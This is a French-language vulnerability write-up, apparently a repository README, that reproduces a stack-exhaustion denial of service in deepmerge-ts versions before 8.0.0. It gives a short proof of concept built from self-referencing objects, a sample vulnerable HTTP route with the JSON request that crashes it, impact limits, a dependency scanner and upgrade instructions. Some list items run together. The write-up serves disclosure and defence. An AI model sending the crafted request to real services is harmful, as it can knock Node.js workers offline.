
Reproduit un déni de service par épuisement de la pile dans deepmerge-ts avant la version 8.0.0, documente l'exploitation et inclut un scanneur de plages de dépendances vulnérables.
J'ai reproduit un bug d'épuisement de la pile dans les versions de deepmerge-ts antérieures à 8.0.0.
La partie intéressante est que le plantage ne nécessite pas un objet imbriqué énorme. Il provient de l'identité des objets. Si les deux valeurs fusionnées pointent vers elles-mêmes via la même propriété, la routine de fusion continue de visiter la même paire jusqu'à ce que Node.js manque d'espace de pile.
Avis de sécurité : GHSA-ggr8-5vv4-36mx CVE : CVE-2026-40345 CWE : CWE-674 Gravité : Élevée Impact : Disponibilité
La plupart des tests de fusion utilisent des données JSON classiques :
{
user: {
name: "alice"
}
}
Ces données sont acycliques. Les objets JavaScript peuvent également contenir des références à eux-mêmes ou à un autre objet du même graphe. Ces cas sont faciles à manquer si la suite de tests n'utilise que des fixtures JSON.
Le plus petit graphe en échec est constitué de deux objets distincts avec la même auto-référence :
const left = {};
left.self = left;
const right = {};
right.self = right;
La fusion d'enregistrements parcourt les clés énumérables, collecte les valeurs de chaque clé et rappelle la routine de fusion pour ces valeurs. Il n'y a ni vérification de cycle ni suivi d'une paire d'objets déjà rencontrée dans les versions affectées.
La clé self renvoie l'exécution dans le même état :
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
Le même comportement est accessible via deepmergeInto, deepmergeCustom et deepmergeIntoCustom lorsqu'elles reçoivent le même type de graphe.
Le paquet est épinglé à la version affectée 7.1.6 dans package.json.
npm install
npm run poc
Le test complet se trouve dans poc.mjs. Il exécute les deux API publiques localement et intercepte la RangeError attendue afin que le résultat soit facile à lire.
La partie importante du PoC est :
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
Sortie attendue :
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
Le PoC renvoie un succès lorsque le comportement affecté est observé. Si le paquet est mis à niveau et que les deux appels aboutissent, il affiche un résultat propre et se termine avec le statut 1 car le problème n'a pas été reproduit.
Il n'existe pas de payload JSON cyclique magique. Un analyseur JSON normal crée un graphe acyclique, ce n'est donc pas déclenché en envoyant simplement un corps JSON très profond à :
deepmerge(defaults, req.body);
L'application doit créer ou préserver le cycle avant d'appeler la fonction de fusion. Cela peut se produire dans du code d'hydratation de graphe, un désérialiseur préservant les références, la réutilisation d'objets de cache ou de session, ou une logique personnalisée qui relie des enregistrements entre eux.
Voici un petit exemple d'intégration vulnérable. La fonction hydrate transforme un indicateur contrôlé par l'utilisateur en auto-référence :
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
Si une route HTTP appelle mergeRequest, un attaquant peut envoyer :
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
Les deux côtés contiennent désormais une référence self. Lorsque la route appelle deepmerge(left, right), la bibliothèque suit left.self et right.self, reçoit à nouveau la même paire et effectue une récursion jusqu'à ce que V8 lève une exception.
Une application n'est pas obligée d'utiliser cette fonction hydrate exacte. Les conditions importantes sont :
Si la route est publique et que l'exception n'est pas interceptée, une seule requête peut arrêter le worker Node.js. Si un superviseur de processus le redémarre automatiquement, des requêtes répétées peuvent maintenir le service dans une boucle de redémarrage. Si une authentification est requise, l'attaquant doit toujours avoir accès à cette route.
C'est un problème de déni de service. Le bug ne permet ni l'exécution de code, ni l'accès aux fichiers, ni la lecture des entrées de fusion d'une autre requête.
Cette distinction compte lors de l'évaluation d'une application réelle. Le corps de requête suivant n'est pas lui-même un cycle :
{
"self": true
}
Il ne devient pertinent que si le code de l'application interprète self: true comme une référence à l'objet racine, ou si un autre analyseur restaure les références d'objets. Le paquet devrait quand même gérer le graphe résultant en toute sécurité, mais l'exploitabilité à distance dépend du code autour du paquet.
L'impact direct est la disponibilité via l'épuisement synchrone de la pile.
Selon l'application environnante, le résultat peut être :
RangeErrorIl n'y a pas d'impact sur la confidentialité ou l'intégrité dans ce problème en soi. La gravité augmente lorsque la route de fusion est non authentifiée, accessible depuis l'internet public, ou automatiquement relancée par un autre service.
J'ai ajouté scanner.mjs pour trouver les références de dépendances affectées avant d'exécuter le PoC de plantage. Il vérifie :
package.jsonpackage-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yamlExécutez-le sur un répertoire de projet :
node scanner.mjs /path/to/project
Pour CI ou d'autres outils, utilisez la sortie JSON :
node scanner.mjs /path/to/project --json
Exemple de résultat pour ce dépôt :
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
Le scanner se termine avec le statut 1 lorsqu'il trouve une version ou une plage affectée. Les URLs Git et autres sources non-semver sont marquées REVIEW au lieu d'être silencieusement considérées comme sûres.
Le correctif direct consiste à mettre à niveau vers deepmerge-ts >= 8.0.0 et à rafraîchir le lockfile.
npm install deepmerge-ts@^8.0.0
L'application doit également décider comment gérer les entrées récursives. Les options raisonnables sont :
Intercepter l'erreur est utile pour la stabilité du processus, mais cela ne supprime pas le déni de service sous-jacent si un attaquant peut répéter la requête. La mise à niveau de la dépendance et la gestion des entrées récursives sont les correctifs importants.
Remplacez la dépendance par 8.0.1, réinstallez et exécutez le même PoC :
npm install [email protected]
npm run poc
Sur la version corrigée, les deux appels aboutissent et le script affiche :
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
Le PoC et le scanner de ce dépôt sont publiés sous la licence MIT.